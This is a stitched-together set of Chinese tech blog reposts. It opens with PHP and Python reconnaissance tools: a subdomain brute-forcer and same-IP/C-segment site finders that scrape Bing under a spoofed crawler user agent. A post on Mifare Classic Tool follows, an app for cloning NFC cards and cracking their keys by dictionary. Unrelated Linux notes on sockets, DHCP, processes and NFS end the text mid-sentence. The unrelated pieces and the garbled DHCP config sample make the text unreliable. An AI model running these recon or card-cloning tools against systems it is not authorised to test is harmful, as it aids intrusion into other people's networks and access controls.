
暂无个人介绍
在线子域名爆破 1 <?php 2 3 function domainfuzz($domain) { 4 $ip = gethostbyname($domain); 5 preg_match("/\d+\.\d+\.\d+\.\d+/",$ip,$arr); 6 return $arr; 7 } 8 9 function main() { 10 if(isset($_GET['q'])) { 11 $return = array(); 12 $domain = trim($_GET["domain"]); 13 //前缀字典 14 $q = trim($_GET["q"]); 15 preg_match("/(\w+\.\w+)$/",$domain,$arr); 16 $fuzz = $q.'.'.$arr[1]; 17 $result = domainfuzz($fuzz); 18 $return["domain"] = $fuzz; 19 if(empty($result)) { 20 $return["status"] = 500; 21 $return["ip"] = null; 22 } else { 23 $return["status"] = 200; 24 $return["ip"] = $result[0]; 25 } 26 echo json_encode($return); 27 } 28 } 29 30 main(); 31 if(!isset($_GET['q'])) { 32 ?> 33 <!DOCTYPE html> 34 <html> 35 <head> 36 <title>在线子域名爆破|Domain fuzz</title> 37 <meta charset="utf-8"> 38 <meta > 39 <link rel="stylesheet" href="//cdn.bootcss.com/bootstrap/3.3.5/css/bootstrap.min.css"> 40 <link rel="stylesheet" href="//cdn.bootcss.com/bootstrap/3.3.5/css/bootstrap-theme.min.css"> 41 <script src="//cdn.bootcss.com/jquery/1.11.3/jquery.min.js"></script> 42 <script src="//cdn.bootcss.com/bootstrap/3.3.5/js/bootstrap.min.js"></script> 43 <style type="text/css" media="screen"> 44 </style> 45 </head> 46 <body> 47 域名:<input type="text" id="domain"> 48 <button>开始</button> 49 <div id="fuzz"></div> 50 <div id="info"></div> 51 </body> 52 <script> 53 //字典自己添加 54 var dist = ["www","mail","ftp","smtp","kaoshi"]; 55 var num = 0; 56 var domain = ""; 57 $("button").click(function() { 58 num = 0; 59 domain = $("#domain").val(); 60 query(); 61 }); 62 function query() { 63 64 $.get("","domain="+domain+"&q="+dist[num],function(res){ 65 $("#fuzz").html(res.domain); 66 if(res.status == 200) { 67 $("#info").append("爆破成功:"+ res.domain + "-" + res.ip+ "<br>"); 68 } 69 70 },"json"); 71 num++; 72 if(num<3000) { 73 query(); 74 } 75 } 76 //alert(dist.length); 77 </script> 78 </html> 79 80 <?php 81 82 } 83 ?> 在线C段查询小工具 1 <?php 2 3 function getIp($url) { 4 $data = file_get_contents("http://www.ip138.com/ips138.asp?ip={$url}&action=2"); 5 preg_match("/(\d+\.\d+\.\d+\.\d+)<\/font>/", $data, $arr); 6 if(!empty($arr[1])) { 7 return $arr[1]; 8 } 9 return $url; 10 } 11 12 function getBing($ip) { 13 $ctx = stream_context_create(array( 14 'http' => array( 15 'timeout' => 30, 16 //'proxy' => 'tcp://113.47.46.152:1080', 17 'request_fulluri' => True, 18 'header'=> "User-Agent: BaiduSpider\r\nAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", 19 ) 20 ) 21 ); 22 $first = 1; 23 $res = array(); 24 while(true) { 25 $url = "http://www.bing.com/search?q=ip%3A{$ip}&go=%E6%8F%90%E4%BA%A4&qs=n&first={$first}&form=QBRE&pq=ip%3A{$ip}&sc=0-0&sp=-1&sk=&cvid=5e52385772e24683a0bdf047de60abfc"; 26 $first = $first + 10; 27 $result = file_get_contents($url, False, $ctx); 28 preg_match_all('/<h2><a href="((http|https):\/\/([\w|\.]+)\/)([\w|\/|&|=|\.|\?]+)?" h="ID=\w+,\w+\.\w+">/',$result,$arr); 29 if(!empty($arr[1])) { 30 foreach($arr[1] as $v) { 31 array_push($res, $v); 32 } 33 } 34 if(!preg_match('/<div class="sw_next">/', $result)) { 35 break; 36 } 37 38 } 39 return array_unique($res); 40 } 41 42 //getBing("58.96.186.133"); 43 44 function main() { 45 if(isset($_POST["action"])) { 46 $action = trim($_POST["action"]); 47 if($action == "getip") { 48 $domain = trim($_POST["domain"]); 49 $ip = getIp($domain); 50 echo $ip; 51 } 52 if($action == "query") { 53 $ip = trim($_POST["ip"]); 54 $res = getBing($ip); 55 echo json_encode($res); 56 } 57 } 58 } 59 60 main(); 61 if(empty($_POST['action'])) { 62 ?> 63 <!DOCTYPE html> 64 <html> 65 <head> 66 <title>必应接口C段查询|c段查询|旁站查询</title> 67 <meta charset="utf-8"> 68 <meta > 69 <link rel="stylesheet" href="//cdn.bootcss.com/bootstrap/3.3.5/css/bootstrap.min.css"> 70 <link rel="stylesheet" href="//cdn.bootcss.com/bootstrap/3.3.5/css/bootstrap-theme.min.css"> 71 <script src="//cdn.bootcss.com/jquery/1.11.3/jquery.min.js"></script> 72 <script src="//cdn.bootcss.com/bootstrap/3.3.5/js/bootstrap.min.js"></script> 73 <style type="text/css" media="screen"> 74 .main{ 75 width:90%; 76 //border:1px solid red; 77 margin-top:20px; 78 } 79 .ip{ 80 margin-top:10px; 81 } 82 dd{ 83 text-indent:10px; 84 } 85 </style> 86 </head> 87 <body> 88 <div class="container"> 89 <div class="main"> 90 <h1>必应接口C段查询 </h1> 91 <form class="form-inline"> 92 <div class="form-group" style=""> 93 <input type="text" id="domain" class="form-control" placeholder="输入你要查询的ip或域名"> 94 </div> 95 <button type="submit" class="btn btn-success" id="getip">获取ip</button> 96 <button type="submit" class="btn btn-info" id="query">查询</button> 97 </form> 98 <div class="alert alert-info ip" role="alert" style="display:none">IP:<span id="ip"></span><span id="se"></span></div> 99 <div class="progress" id="jd" style="display:none"> 100 <div class="progress-bar progress-bar-success progress-bar-striped" role="progressbar" aria-valuenow="40" id="b" aria-valuemin="0" aria-valuemax="100" style="width: 0%"> 101 <span class="sr-only">40% Complete (success)</span> 102 </div> 103 </div> 104 <dl id="result"> 105 106 </dl> 107 </div> 108 </div> 109 </body> 110 <script type="text/javascript"> 111 var ipi = 1; 112 $(function() { 113 $("#getip").click(function() { 114 var domain = $("#domain").val(); 115 if(domain == "") { 116 alert("请输入ip或者域名"); 117 return false; 118 } 119 $.post("","action=getip&domain="+domain,function(res) { 120 var ip = res; 121 $("#ip").html(ip); 122 $(".ip").show(); 123 arr = ip.split("."); 124 start = arr[0] + "." + arr[1] + "." + arr[2] + "." + 1; 125 end = arr[0] + "." + arr[1] + "." + arr[2] + "." + 255; 126 $("#se").html(" 查询ip段:" + start + "-" + end) 127 }) 128 }); 129 130 $("#query").click(function() { 131 ipi=1; 132 $("#b").css("width","0%"); 133 $("#result").html(""); 134 $("#jd").show(); 135 query(); 136 137 }); 138 }) 139 140 function query() { 141 $("#query").click(function() { 142 return; 143 }); 144 var html = ""; 145 var b = (ipi/255) * 100; 146 var ip = $("#ip").html(); 147 if(ip == "") { 148 alert("骚年请先获取Ip哦"); 149 return; 150 } 151 var arr = ip.split("."); 152 var ips = arr[0] + "." + arr[1] + "." + arr[2] + "." + ipi; 153 154 $.post("","action=query&ip="+ips,function(res) { 155 $("#b").css("width",b+"%"); 156 html += "<dt>"+ ips +"</dt>"; 157 for(var i in res) { 158 html += "<dd><a href=\"" + res[i] + "\" target=\"_blank\">" + res[i]+"</a></dd>"; 159 160 } 161 $("#result").append(html); 162 if(ipi<255) { 163 ipi++; 164 query(); 165 } 166 },"json"); 167 } 168 </script> 169 </html> 170 171 <?php 172 } 173 ?> Python调用Bing进行同IP网站查询 1 #!/usr/bin/env python 2 # -*- coding: utf-8 -*- 3 # @Author: Lcy 4 # @Date: 2015-07-22 10:41:17 5 # @Last Modified by: Lcy 6 # @Last Modified time: 2015-07-22 10:49:44 7 import urllib2 8 import re 9 import sys 10 import socket 11 12 def curl(ip,first): 13 #设置ip代理, 14 proxy_handler = urllib2.ProxyHandler({"http" : 'http://115.47.46.152:1080'}) 15 null_proxy_handler = urllib2.ProxyHandler({}) 16 opener = urllib2.build_opener(proxy_handler) 17 urllib2.install_opener(opener) 18 uri = "http://www.bing.com/search?q=ip%3A" + ip +"&go=%E6%8F%90%E4%BA%A4&qs=n&first="+ str(first) +"&form=QBRE&pq=ip%3A" + ip +"&sc=0-0&sp=-1&sk=&cvid=5e52385772e24683a0bdf047de60abfc" 19 request = urllib2.Request(uri) 20 request.add_header('User-Agent', 'BaiduSpider') 21 response = urllib2.urlopen(request, timeout=10) 22 res = response.read() 23 return res 24 def getIp(domain): 25 myaddr = socket.getaddrinfo(domain,'http')[0][4][0] 26 return myaddr 27 def get(ip): 28 ip = getIp(ip) 29 print "[+] Query IP:" + ip + "\n" 30 rev = [] 31 first = 1 32 while True: 33 res = curl(ip,first) 34 first = first + 10 35 r = re.findall(r'<h2><a href="((http|https):\/\/([\w|\.]+)\/)([\w|\/|&|=|\.|\?]+)?" h="ID=\w+,\w+\.\w+">',res) 36 for i in r: 37 print "[+] " + i[0] 38 rev.append(i[0]) 39 m = re.search(r'<div class="sw_next">', res) 40 if not m: 41 break 42 result = list(set(rev)) 43 return result 44 if __name__ == "__main__": 45 print u"""------------------------------------------------------------------------------ 46 必应旁站查询 qq:1141056911 47 By Lcy 48 http://phpinfo.me 49 ------------------------------------------------------------------------------ 50 """ 51 if len(sys.argv) != 2: 52 print "Usage: %s ip" % sys.argv[0] 53 exit() 54 urllist = get(sys.argv[1]) 55 result = "" 56 for i in urllist: 57 result = result + i + "\r\n" 58 f = open("Result.txt","w") 59 f.write(result) 60 f.close() 61 print u"\r\n结果已经保存为Result.txt" 本文转自 K1two2 博客园博客,原文链接:http://www.cnblogs.com/k1two2/p/4748642.html ,如需转载请自行联系原作者
2.0.4 到 2.0.6的更改: 注意:本汉化版本可能不稳定,与此发生的一切后果与作者和汉化者无关。 Version 2.0.6: * Bugfix: Fixed crash which occurred instantly after starting (on some devices). Version 2.0.5: * Bugfix: Don't save key files with bad characters. Thanks to Pascal for fixing this issue. * Fixed SAK issue of Sony's Xperia Z3 in combination with emulated tags. Thanks again to "bildin" and to "moscowneversleeping" for reporting, testing and patching this issue. * OnePlus One, Samsung Galaxy Grand Prime, Samsung Galaxy S5 mini, Sony Xperia Z2 (some models), Google Nexus 9, Jiayu S3, LG G4, Samsung Galaxy A5, ZTE Nubia Z7 Max (NX505J), Samsung Galaxy S6, Samsung Galaxy S6 Edge, Asus Zenfone 2, Google Nexus 6, Motorola's Moto X (2014, 2ed gen.) are not supported. Mifare Classic Tool (MCT) – 一款用来读取/编辑/分析Mifare Classic卡片的安卓软件。 功能如下: * 读取Mifare Classic卡片 * 编辑并保存卡片的数据 * 写入Mifare Classic卡片 * 复制Mifare Classic卡片 (写入数据文件从一张卡片到一张新卡;不包括第一区块) * 字典暴力破解 下载地址: 链接: http://pan.baidu.com/s/1qYchTog 密码: uihs 智能手机和平板NFC型号(定期更新最新款手机NFC芯片型号): http://www.shopnfc.it/en/content/7-nfc-device-compatibility 本文转自 K1two2 博客园博客,原文链接:http://www.cnblogs.com/k1two2/p/5416749.html ,如需转载请自行联系原作者
Linux中查看socket状态: cat /proc/net/sockstat #(这个是ipv4的) sockets: used 137 TCP: inuse 49 orphan 0 tw 3272 alloc 52 mem 46UDP: inuse 1 mem 0RAW: inuse 0 FRAG: inuse 0 memory 0 说明: sockets: used:已使用的所有协议套接字总量 TCP: inuse:正在使用(正在侦听)的TCP套接字数量。其值≤ netstat –lnt | grep ^tcp | wc –l TCP: orphan:无主(不属于任何进程)的TCP连接数(无用、待销毁的TCP socket数) TCP: tw:等待关闭的TCP连接数。其值等于netstat –ant | grep TIME_WAIT | wc –l TCP:alloc(allocated):已分配(已建立、已申请到sk_buff)的TCP套接字数量。其值等于netstat –ant | grep ^tcp | wc –l TCP:mem:套接字缓冲区使用量(单位不详。用scp实测,速度在4803.9kB/s时:其值=11,netstat –ant 中相应的22端口的Recv-Q=0,Send-Q≈400) UDP:inuse:正在使用的UDP套接字数量 RAW: FRAG:使用的IP段数量 IPv6请看:cat /proc/net/sockstat6 TCP6: inuse 3UDP6: inuse 0RAW6: inuse 0 FRAG6: inuse 0 memory 0 通过这些值,可以很容易计算出当前的tcp请求数,然后做相关的监控。 本文转自 憬薇 51CTO博客,原文链接:http://blog.51cto.com/welcomeweb/1975358
DHCP配置详解 /var/lib/dhcpd/dhcpd.leases 租约数据库文件 /usr/share/doc/dhcp-*/dhcpd.conf.sample 配置文件示例文件 /etc/dhcpd.conf 主配置文件 1. DHCP应用环境 a) 局域网中存在大量主机且需要经常变动IP地址(如不经常变动IP则最好全部设置静态IP并IP MAC绑定) b) 局域网中存在比较多移动办公设备 ,这种的典型就是如一些餐饮及一些提供无线接入的场所。 2. DHCP术语解释 a) DHCP服务器:提供DHCP服务的计算机 b) DHCP客户端:启用DHCP设置的计算机,就是需要DHCP服务的设备吧 c) 作用域:一个完整连续的可用IP地址范围,DHCP服务主要就是通过作用域来管理网络分布,IP地址分配及其它相关配置参数。 d) 超级作用域:管理级的作用域集合,用于支持同一物理网络上的多个逻辑IP子网,超级作用域包含子作用域的列表,对子作用域进行统一管理。 e) 排除范围:排除范围是作用域内从DHCP服务中排除的有限IP地址序列,排除范围确保在这些范围中的任何地址都不是由网络上的服务器提供给DHCP客户机,(就相当于保留地址,比如网络中网络打印机地址需要固定,就不能把这个地址再给客户机) f) 地址池:在定义DHCP作用域并应用排除范围之后,剩余的地址在作用域内形成可用地址池,就是作用域中可用IP的范围,这时的地址才可以由DHCP服务器动态分配给DHCP客户端使用。 g) 租约:客户计算机可以使用动态分配IP地址的时间,这个时间可以由DHCP服务器设置。当一台客户机发出租约后,此租约被看作是活动的,在租约终止前,客户机可以向DHCP服务器请求更新其租约。当租约到期或被服务器删除后,就变动不活动的了,租约的持续时间决定了租约什么时候终止及客户机隔多久向DHCP服务器更新其租约 。 h) 预约:创建从DHCP服务器客户机的永久地址租约指定,预约可以保证子网上的特定设备总是使用相同的IP地址(如网络打印机的IP,DHS服务器的等) i) 选项类型:当DHCP服务器向DHCP客户机提供租约服务时可以指定的其它客户机的配置参数,典型的这些选项类型由各个作用域启用和配置。大多数选项在RFC21232中预定了,如需要,可以在DHCP管理器定义并添加自定义选项类型。(一般不用) j) 选项类别:DHCP服务器用于进一步提供给客户机的选项类型的方法,选项类别可以在用户的DHCP服务器上配置以提供特定的客户机支持。 3. DHCP工作原理 a) 当DHCP客户机第一次登陆网络时,如客户机上无任何IP信息设定,它会向网络发出DHCP DISCVER数据包,为保证服务器能够收到请求,数据包源地址为0.0.0.0,目的地址是255.255.255.255 即以广播形式发送DHCP DISCOVER信息。 b) 当DHCP服务器监听到客户端发出的DHCP DISCOVER广播后,它会从那些还没有透出的地址范围中选择可用IP及其它TCP/IP设定以DHCP OFFER数据包形式发送给客户机。 c) 如客户端收到网络上多台DHCP服务器的响应,客户端会挑选最快一个DHCP OFFER并向网络发送一个DHCP REQUEST广播封包,告诉所有DHCP服务器它将使用哪一台服务器提供的IP地址。同时,客户端还会向网络发送ARP广播数据包,查询网络上有没有其它机器使用该IP地址,如何发现此IP已经被占用,客户端则会发送一个DHCP DECLINE数据包给DHCP服务器,拒绝接受其DHCP OFFER,并重新发送DHCP REQUEST信息。 客户端可以保留自己的一些TCP/IP设定,如网关,DHS地址等。 d) 将地址分配给客户端后,DHCP 服务器会发送一个DHCP ACK消息,以确认IP租约正式生效,结束完整的DHCP工作过程。 e) DHCP客户端成功地从服务器取得IP地址后,一般不需要再发送DHCP DISCOVER信息,除非租约已经到期或者IP地址重新设定回0.0.0.0 此时客户端会直接使用已经租用到的IP地址向为其发放此IP地址的DHCP服务器发出DHCP REQUEST信息,DHCP服务器会尽量让客户端使用原来的IP地址,如无特殊情况,会直接响应DHCP ACK,允许客户端继续使用此IP地址,如果此地址已经失效或已经被其它主机使用,服务器会一个DHCP NACK数据包给客户端,要求其重新执行DHCP DISCOVER. 客户端执行DHCP DISCOVER后,台无DHCP服务器响应客户端请求,客户端会随机使用169.254.0.0/16网段中的一个IP地址配置本机地址。 4. 安装DHCP服务所需软件 dhcp-3.0.5-23.el5.i386.rpm DHCP主程序包,包括DHCP服务和中继代理程序,安装此软件包并进行相应 配置,就可以为客户机动态分配IP地址及其它TCP/IP信息、 dhcp-devel-3.0.5-23.el5.i386.rpm DHCP服务器开发工具软件包,为DHCP开发提供库文件支持。 dhcpv6-1.0.10-18.el5.i386.rpm DHCP的IPV6扩展工具,使DHCP服务器能够支持IPV6最新功能,如IPV6地址的动态配置及IPV6中继代理等。 dhcpv6-client-1.0.10-18.el5.i386.rpm DHCP客户端IPV6软件包,帮助客户端获取动态IP地址。 软件的安装这里就不多说,使用 rpm –qa |grep dhcp查询一下已经安装的软件,将未安装的rpm –ivh softname 安装就可以了. 5. DHCP常规服务器的配置 基本的DHCP服务器搭建流程 a) 编辑主配置文件dhcpd.conf ,指定IP作用域 指定一个或多个IP地址范围。 b) 建立租约数据库文件 c) 重新加载配置文件或重新启动DHCPD服务使配置生效。 DHCP工作流程 a) 客户端发送广播向服务器申请IP地址 b) 服务器收到请求后查看主配置dhcpd.conf,先根据客户端的MAC地址查看是 否为客户端设置 了固定IP地址。如设置刚将固定IP发送给客户端。如未设置则从地址池中IP发送给客户端。 c) 客户端收到服务器回应后,客户端给于服务器回应,告诉服务器已经使用了分配 的IP地址。 d) 服务器将相关租约信息存入数据库。 DHCP主配置文件 当DHCP主程序包安装好后会自动生成主配置文件的示例文件, /usr/share/doc/dhcp-*/dhcpd.conf.sample 而在/etc 目录下会建立一个空白的dhcpd.conf 主配置文件。 ls /etc/ |grep dhcp 将示例文件下复制到/etc覆盖原文件即可。示例文件全文: 红色字为手动增加注释。 [root@rhel dhcp-3.0.5]# more dhcpd.conf.sample ddns-update-style interim; 表示所支持的DNS动态更新类型 none不支持动态更新 interim DNS互动更新模式 ad-hoc 表示特殊DNS更新模式 此行必选。 ignore client-updates;忽略客户端更新此参数只在服务器端使用 subnet 192.168.0.0 netmask 255.255.255.0 {定义作用域指定子网 网络号必须与DHCP服务器网络号相同。 # --- default gateway option routers 192.168.0.1;默认网关 option subnet-mask 255.255.255.0;子网掩码 option nis-domain "domain.org"; option domain-name "domain.org"; option domain-name-servers 192.168.1.1;指定DNS服务器 配置多个DNS服务器:option domain-name-servers 192.168.1.1,192.168.1.2; option time-offset -18000; # Eastern Standard Time # option ntp-servers 192.168.1.1; # option netbios-name-servers 192.168.1.1; # --- Selects point-to-point node (default is hybrid). Don't change this unless # -- you understand Netbios very well # option netbios-node-type 2; range dynamic-bootp 192.168.0.128 192.168.0.254; 指定动态IP地址范围。可指定多个range,但所定义IP范围不能重复。 default-lease-time 21600; 定义默认IP租约时间,单位秒 max-lease-time 43200;默认客户端IP租约时间的最大值 # we want the nameserver to appear at a fixed address host ns { 用于定义保留地址 就是IP MAC绑定的IP next-server marvin.redhat.com; hardware ethernet 12:34:56:78:AB:CD; MAC fixed-address 207.175.42.254; 定义DHCP客户端指定的IP地址。 host dns { hardware ethernet 12:34:56:78:AB:12; fixed-address 192.168.0.254 } } 租约数据库文件 用于保存一系列租约声明,其中包含客户端的主机名,MAC地址,分配到的IP地址IP地址的有效期等,此文件是可编辑的ASCII格式文本文件。发生租约变化时,会在文件结尾添加新的租约记录。 刚安装好后租约数据库文件是空文件 /var/lib/dhcpd/dhcpd.leases DHCP正常运行后就会向里添加 服务启动与重启 service dhcpd start service dhcpd stop service dhcpd restar /etc/rc.d/init.d/dhcpd start stop restart reload 自动加载DHCP服务 chkconfig –level 3 dhcpd 运行级别3自动加载dhcpd服务 chkconfig –level 3 dhcpd off 关闭运行级别3自动加载dhcp服务 或者ntsysv里配置。 6. IP地址绑定 DHCP中IP地址绑定用于级客户端分配固定IP,如服务器及网络打印机等设备。通过MAC与IP的对应关系为指定设备分配IP.,每一个绑定的IP 需要一段 host name{ } tail -F /etc/log/message 查看日志。 7. DHCP服务的应用及排错 普通小型C类网络网络一台DHCP服务器就可以。 对于需要多个域的网络,可以使用多网卡实现,也可以使用超级作用域。超级作用域暂时不说了。 排错:常见错误有配置文件不存在或者配置文件内容出错,网卡IP错误或者与配置文件中网络不相同,不存在租约文件(可以手动建立/var/lib/dhcpd/dhcpd.leases ),还可以查看系统日志判断错误,当然客户机到DHCP服务器的网络是要通着的。 本文转自 还不算晕 51CTO博客,原文链接:http://blog.51cto.com/haibusuanyun/791667
第七单元 1.进程定义 进程就是cpu未完成的工作 2.ps命令 ps a ##关于当前环境的所有进程 x ##与当前环境无关的所有进程 f ##显示进程从属关系 e ##显示进程调用环境工具的详细信息 l ##长列表显示进程的详细信息 u ##显示进程的用户信息 ps ax -o %cpu,%mem,user,group,comm,nice,pid ##指定显示进程的某些信息 %cpu ##显示进程cpu负载 %mem ##显示进程内存负载 user ##进程用户 group ##进程组 comm ##进程名称 nice ##进程优先级 pid ##进程的id ps ax -o %cpu,comm --sort <+|-%cpu > <+|-%mem>##按照进程信息排序 + ##正序 - ##倒序 %cpu ##cpu负载排序 %mem ##内存负载 3.进程优先级 1.进程的优先级范围 -20~19 2.优先级查看 ps ax -o pid,nice,comm 3.指定某个优先级开启进程 nice -n 优先级数字进程名称 nice -n -5 vim & ##开启vim并且指定程序优先级为-5 4.改变进程优先级 reince -n 优先级数字进程pid renice -n -5 1806 ##改变1806进程的优先级为-5 root@desktop0 ~]# ps a -o pid,nice,comm PID NI COMMAND 614 0 Xorg 1128 0 agetty 1625 0 bash 1785 0 vim 1806 -5 vim 1824 -5 vim 1835 0 ps 4.环境中进程的前后台调用 jobs ##查看被打入环境后台的进程 ctrl+z ##把占用终端的进程打入后台 fg ##把后台进程调回前台 bg ##把后台暂停的进程运行 comm & ##让命令直接在后台运行 5.进程信号 1.常用信号等级 1 ##进程重新加载配置 2 ##删除进程在内存中的数据 3 ##删除鼠标在内存中的数据 9 ##强行结束单个进程(不能被阻塞) 15 ##正常关闭进程 (可能会被阻塞) 18 ##运行暂停的进程 19 ##暂停某个进程 (不能被阻塞) 20 ##把进程打入后台(可以被阻塞) man 7 signal ##查看信号详细信息 kill -信号 进程pid killall -信号进程名字 pkill-u student -信号 SIGHUP 终止进程 终端线路挂断 SIGINT 终止进程 中断进程 SIGQUIT 建立CORE文件终止进程,并且生成core文件 SIGILL 建立CORE文件 非法指令 SIGTRAP 建立CORE文件 跟踪自陷 SIGBUS 建立CORE文件 总线错误 SIGSEGV 建立CORE文件 段非法错误 SIGFPE 建立CORE文件 浮点异常 SIGIOT 建立CORE文件 执行I/O自陷 SIGKILL 终止进程 杀死进程 SIGPIPE 终止进程 向一个没有读进程的管道写数据 SIGALARM 终止进程 计时器到时 SIGTERM 终止进程 软件终止信号 SIGSTOP 停止进程 非终端来的停止信号 SIGTSTP 停止进程 终端来的停止信号 SIGCONT 忽略信号 继续执行一个停止的进程 SIGURG 忽略信号 I/O紧急信号 SIGIO 忽略信号 描述符上可以进行I/O SIGCHLD 忽略信号 当子进程停止或退出时通知父进程 SIGTTOU 停止进程 后台进程写终端 SIGTTIN 停止进程 后台进程读终端 SIGXGPU 终止进程 CPU时限超时 SIGXFSZ 终止进程 文件长度过长 SIGWINCH 忽略信号 窗口大小发生变化 SIGPROF 终止进程 统计分布图用计时器到时 SIGUSR1 终止进程 用户定义信号1 SIGUSR2 终止进程 用户定义信号2 SIGVTALRM 终止进程 虚拟计时器到时 1) SIGHUP 本信号在用户终端连接(正常或非正常)结束时发出, 通常是在终端的控 制进程结束时, 通知同一session内的各个作业, 这时它们与控制终端 不再关联. 2) SIGINT 程序终止(interrupt)信号, 在用户键入INTR字符(通常是Ctrl-C)时发出 3) SIGQUIT 和SIGINT类似, 但由QUIT字符(通常是Ctrl-)来控制. 进程在因收到 SIGQUIT退出时会产生core文件, 在这个意义上类似于一个程序错误信 号. 4) SIGILL 执行了非法指令. 通常是因为可执行文件本身出现错误, 或者试图执行 数据段. 堆栈溢出时也有可能产生这个信号. 5) SIGTRAP 由断点指令或其它trap指令产生. 由debugger使用. 6) SIGABRT 程序自己发现错误并调用abort时产生. 6) SIGIOT 在PDP-11上由iot指令产生, 在其它机器上和SIGABRT一样. 7) SIGBUS 非法地址, 包括内存地址对齐(alignment)出错. eg: 访问一个四个字长 的整数, 但其地址不是4的倍数. 8) SIGFPE 在发生致命的算术运算错误时发出. 不仅包括浮点运算错误, 还包括溢 出及除数为0等其它所有的算术的错误. 9) SIGKILL 用来立即结束程序的运行. 本信号不能被阻塞, 处理和忽略. 10) SIGUSR1 留给用户使用 11) SIGSEGV 试图访问未分配给自己的内存, 或试图往没有写权限的内存地址写数据. 12) SIGUSR2 留给用户使用 13) SIGPIPE Broken pipe 14) SIGALRM 时钟定时信号, 计算的是实际的时间或时钟时间. alarm函数使用该 信号. 15) SIGTERM 程序结束(terminate)信号, 与SIGKILL不同的是该信号可以被阻塞和 处理. 通常用来要求程序自己正常退出. shell命令kill缺省产生这 个信号. 17) SIGCHLD 子进程结束时, 父进程会收到这个信号. 18) SIGCONT 让一个停止(stopped)的进程继续执行. 本信号不能被阻塞. 可以用 一个handler来让程序在由stopped状态变为继续执行时完成特定的 工作. 例如, 重新显示提示符 19) SIGSTOP 停止(stopped)进程的执行. 注意它和terminate以及interrupt的区别: 该进程还未结束, 只是暂停执行. 本信号不能被阻塞, 处理或忽略. 20) SIGTSTP 停止进程的运行, 但该信号可以被处理和忽略. 用户键入SUSP字符时 (通常是Ctrl-Z)发出这个信号 21) SIGTTIN 当后台作业要从用户终端读数据时, 该作业中的所有进程会收到SIGTTIN 信号. 缺省时这些进程会停止执行. 22) SIGTTOU 类似于SIGTTIN, 但在写终端(或修改终端模式)时收到. 23) SIGURG 有"紧急"数据或out-of-band数据到达socket时产生. 24) SIGXCPU 超过CPU时间资源限制. 这个限制可以由getrlimit/setrlimit来读取/ 改变 25) SIGXFSZ 超过文件大小资源限制. 26) SIGVTALRM 虚拟时钟信号. 类似于SIGALRM, 但是计算的是该进程占用的CPU时间. 27) SIGPROF 类似于SIGALRM/SIGVTALRM, 但包括该进程用的CPU时间以及系统调用的 时间. 28) SIGWINCH 窗口大小改变时发出. 29) SIGIO 文件描述符准备就绪, 可以开始进行输入/输出操作. 30) SIGPWR Power failure 有 两个信号可以停止进程:SIGTERM和SIGKILL。 SIGTERM比较友好,进程能捕捉这个信号,根据您的需要来关闭程序。在关闭程序之前,您可以结束打开的记录文件和完成正在做的任务。在某些情况下,假 如进程正在进行作业而且不能中断,那么进程可以忽略这个SIGTERM信号。 对于SIGKILL信号,进程是不能忽略的。这是一个 “我不管您在做什么,立刻停止”的信号。假如您发送SIGKILL信号给进程,Linux就将进程停止在那里 6.用户登陆审记 1 w ##查看使用系统的当前用户有那些 w -f ##-f查看使用地点 2 last ##查看用户登陆成功历史 3. lastb ##查看用户登陆未成功历史 7.top命令 top ##监控系统负载工具 8、虚拟机远程文件传输 打开nm-connection-editor 删除system etho ,添加新的配置 选择etho 配置新的ip地址 配置完ip保存 输入ping + ip 查看网路是否连通 将文件file 有172.25.254.100传输到172.25.254.100 本文转自 夏梨巴人 51CTO博客,原文链接:http://blog.51cto.com/12774035/1913923
一、NFS服务简介 NFS 是Network File System的缩写,即网络文件系统。一种使用于分散式文件系统的协定,由Sun公司开发,于1984年向外公布。功能是通过网络让不同的机器、不同的操作系统能够彼此分享个别的数据,让应用程序在客户端通过网络访问位于服务器磁盘中的数据,是在类Unix系统间实现磁盘文件共享的一种方法。 NFS 的基本原则是“容许不同的客户端及服务端通过一组RPC分享相同的文件系统”,它是独立于操作系统,容许不同硬件及操作系统的系统共同进行文件的分享。 NFS在文件传送或信息传送过程中依赖于RPC协议。RPC,远程过程调用 (Remote Procedure Call) 是能使客户端执行其他系统中程序的一种机制。NFS本身是没有提供信息传输的协议和功能的,但NFS却能让我们通过网络进行资料的分享,这是因为NFS使用了一些其它的传输协议。而这些传输协议用到这个RPC功能的。可以说NFS本身就是使用RPC的一个程序。或者说NFS也是一个RPC SERVER。所以只要用到NFS的地方都要启动RPC服务,不论是NFS SERVER或者NFS CLIENT。这样SERVER和CLIENT才能通过RPC来实现PROGRAM PORT的对应。可以这么理解RPC和NFS的关系:NFS是一个文件系统,而RPC是负责负责信息的传输。 二、系统环境 系统平台:CentOS release 6.6 NFS Server IP:192.168.11.100 NFS Client IP:192.168.11.110 防火墙已关闭/iptables SELINUX=disabled 三、安装NFS服务 NFS的安装是非常简单的,只需要两个软件包即可,而且在通常情况下,是作为系统的默认包安装的。 nfs-utils-* :包括基本的NFS命令与监控程序 rpcbind-* :支持安全NFS RPC服务的连接 1、查看系统是否已安装NFS 2、如果没有安装NFS软件包,则可以手动安装 # yum -y install nfs-utils rpcbind 3、安装完成后启动服务。 注:启动时要先启动rpcbind在启动nfs 4、停止服务时也要先停止nfs在停止rpcbind 四、NFS配置文件 NFS的常用目录 /etc/exports NFS服务的主要配置文件 /usr/sbin/exportfs NFS服务的管理命令 /usr/sbin/showmount 客户端的查看命令 /var/lib/nfs/etab 记录NFS分享出来的目录的完整权限设定值 /var/lib/nfs/xtab 记录曾经登录过的客户端信息 4.1、NFS服务的配置文件为 /etc/exports,这个文件是NFS的主要配置文件,不过系统并没有默认值,所以这个文件不一定会存在,可能要使用vim手动建立,然后在文件里面写入配置内容。 /etc/exports文件内容格式: <输出目录> [客户端1 选项(访问权限,用户映射,其他)] [客户端2 选项(访问权限,用户映射,其他)] 例: vim /etc/exports /home/data 192.168.11.0/24(rw,sync,no_root_squash) 4.2、常用配置项说明 访问权限选项 设置输出目录只读:ro 设置输出目录读写:rw 用户映射选项 all_squash:将远程访问的所有普通用户及所属组都映射为匿名用户或用户组(nfsnobody); no_all_squash:与all_squash取反(默认设置); root_squash:将root用户及所属组都映射为匿名用户或用户组(默认设置); no_root_squash:与rootsquash取反; anonuid=xxx:将远程访问的所有用户都映射为匿名用户,并指定该用户为本地用户(UID=xxx); anongid=xxx:将远程访问的所有用户组都映射为匿名用户组账户,并指定该匿名用户组账户为本地用户组账户(GID=xxx); 其它选项 secure:限制客户端只能从小于1024的tcp/ip端口连接nfs服务器(默认设置); insecure:允许客户端从大于1024的tcp/ip端口连接服务器; sync:将数据同步写入内存缓冲区与磁盘中,效率低,但可以保证数据的一致性; 